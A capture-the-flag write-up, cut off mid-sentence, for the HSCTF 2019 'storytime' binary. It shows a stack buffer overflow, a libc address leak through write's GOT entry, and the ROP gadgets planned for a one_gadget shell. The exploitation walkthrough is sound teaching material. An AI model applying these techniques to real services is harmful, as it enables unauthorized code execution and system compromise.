# hs 2019 storytime

Let's take a look at the binary:

```
$    file storytime
storytime: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=3f716e7aa7e236824c52ed0410c1f[PII_REDACTED], not stripped
$    pwn checksec storytime
[*] '/Hackery/hs/storytime/storytime'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$    ./storytime
HSCTF PWNNNNNNNNNNNNNNNNNNNN
Tell me a story:
15935728
```

So we are dealing with a `64` bit dynamically linked binary that has a non-executable stack. When we run it, it prompts us for input. Let's look at the main function in Ghidra:

```
undefined8 main(void)

{
  undefined input [48];
 
  setvbuf(stdout,(char *)0x0,2,0);
  write(1,"HSCTF PWNNNNNNNNNNNNNNNNNNNN\n",0x1d);
  write(1,"Tell me a story: \n",0x12);
  read(0,input,400);
  return 0;
}
```

So we can see that it starts out by printing some data with the `write` function. Proceeding that it will scan in `400` bytes of data into `input` (which can only hold `48` bytes), and give us a buffer overflow. There is no stack canary, so there isn't anything stopping us from executing code. The question is, what will we execute?

Looking under the imports in Ghidra, we can see that our imported functions are `read`, `write`, and `setvbuf`. Since PIE is not enabled, we can call any of these functions. Also since the elf is dynamically linked (and a pretty small binary), we don't have a lot of gadgets. My plan to go about getting a shell has two parts. The first part is getting a libc infoleak with a `write` function that writes to `stdout` (`1`), then loop back again to a vulnerable read call and overwrite the return address with a onegadget. A onegadget is essentially a single ROP gadget that can be found in the libc, that if the right conditions are meant when it is ran, it will give you a shell (the project for the onegadget finder can be found at: https://github.com/david942j/one_gadget).

The issue with this is we don't know what version of libc is running on a server. For this I looked at what libc version they gave out for other challenges and guessed and checked. After a bit I found that it was libc version `libc.so.6`. However before I did that I got it working locally with my own libc. To see what libc file your binary is loaded with, and where the file is stored, you can just run the `vmmap` command in gdb while the binary is running:

```
gef➤  vmmap
Start              End                Offset             Perm Path
0x[PII_REDACTED]400000 0x[PII_REDACTED]401000 0x[PII_REDACTED]000000 r-x /Hackery/hs/storytime/storytime
0x[PII_REDACTED]600000 0x[PII_REDACTED]601000 0x[PII_REDACTED]000000 r-- /Hackery/hs/storytime/storytime
0x[PII_REDACTED]601000 0x[PII_REDACTED]602000 0x[PII_REDACTED]001000 rw- /Hackery/hs/storytime/storytime
0x00007ffff79e4000 0x00007ffff7bcb000 0x[PII_REDACTED]000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7bcb000 0x00007ffff7dcb000 0x[PII_REDACTED]1e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcb000 0x00007ffff7dcf000 0x[PII_REDACTED]1e7000 r-- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcf000 0x00007ffff7dd1000 0x[PII_REDACTED]1eb000 rw- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dd1000 0x00007ffff7dd5000 0x[PII_REDACTED]000000 rw-
0x00007ffff7dd5000 0x00007ffff7dfc000 0x[PII_REDACTED]000000 r-x /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7fd9000 0x00007ffff7fdb000 0x[PII_REDACTED]000000 rw-
0x00007ffff7ff7000 0x00007ffff7ffa000 0x[PII_REDACTED]000000 r-- [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 0x[PII_REDACTED]000000 r-x [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 0x[PII_REDACTED]027000 r-- /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x[PII_REDACTED]028000 rw- /lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x[PII_REDACTED]000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x[PII_REDACTED]000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x[PII_REDACTED]000000 r-x [vsyscall]
```

Also the indication I used to see if I had the right libc version (doesn't work 100% of the time), but when I would try and calculate the base of the libc using offsets, it ended with several zeros that would usually be a good indication.

Now back to the exploitation. There are `0x38` bytes between the start of our input and the return address (`48` for the size of the char buffer, and `8` for the saved base pointer). Now for the write libc infoleak we will need the `rdi` register to have the value `0x1` to specify the stdout file handle, `rsi` to have the address of the got entry for write (since that will give us the libc address for write), and `rdx` to have a value greater than or equal to `8` (to leak the address). Also since PIE isn't enabled, we know the address of the got entry without a PIE infoleak. Looking at the assembly code leading up to the `ret` instruction which gives us code execution, we can see that the `rdx` register is set to `0x190` which will fit our needs.

```
        00400684 ba 90 01        MOV        EDX,0x190
                 00 00
        00400689 48 89 c6        MOV        RSI,RAX
        0040068c bf 00 00        MOV        EDI,0x0
                 00 00
        00400691 e8 1a fe        CALL       read                                             ssize_t read(int __fd, void * __
                 ff ff
        00400696 b8 00 00        MOV        EAX,0x0
                 00 00
        0040069b c9              LEAVE
        0040069c c3              RET
```

Now for the got entry of `write` in the `rsi` register, we see that there is a rop gadget that will allow us to pop it into the register. It will also pop a value into the `r15` register, however we just need to include another 8 byte qword in our rop chain for that so it really doesn't affect much:

```
$    python ROPgadget.py --binary storytime | grep rsi
0x[PII_REDACTED]400701 : pop rsi ; pop r15 ; ret
```

For the last register (the `1` in `rdi`) I settled this with where we jumped back to. Instead of calling `write`, I just jumped to `0x400601` which is in the middle of the `end` function:
```

void end(void)

{
  write(1,"The End!\n",0x28);
  return;
}
```

Specifically the instruction we jump back to will mov `0x1` into the `edi` register then call `write`, which will give us our infoleak:
```
        00400606 e8 95 fe        CALL       write                                            ssize_t write(int __fd, void * _
                 ff ff
        0040060b 90              NOP
        0040060c 5d              POP        RBP
        0040060d c3              RET
```

Then it will return and continue on with our rop chain. However before it does that, it will pop a value off of our chain into the `rbp` register so we will need to include a filler 8 byte qword in our rop chain at that point. For where to jump to, I choose `0x40060e`, since it is the beginning of the `climax` function which gives us a buffer overflow where we can overwrite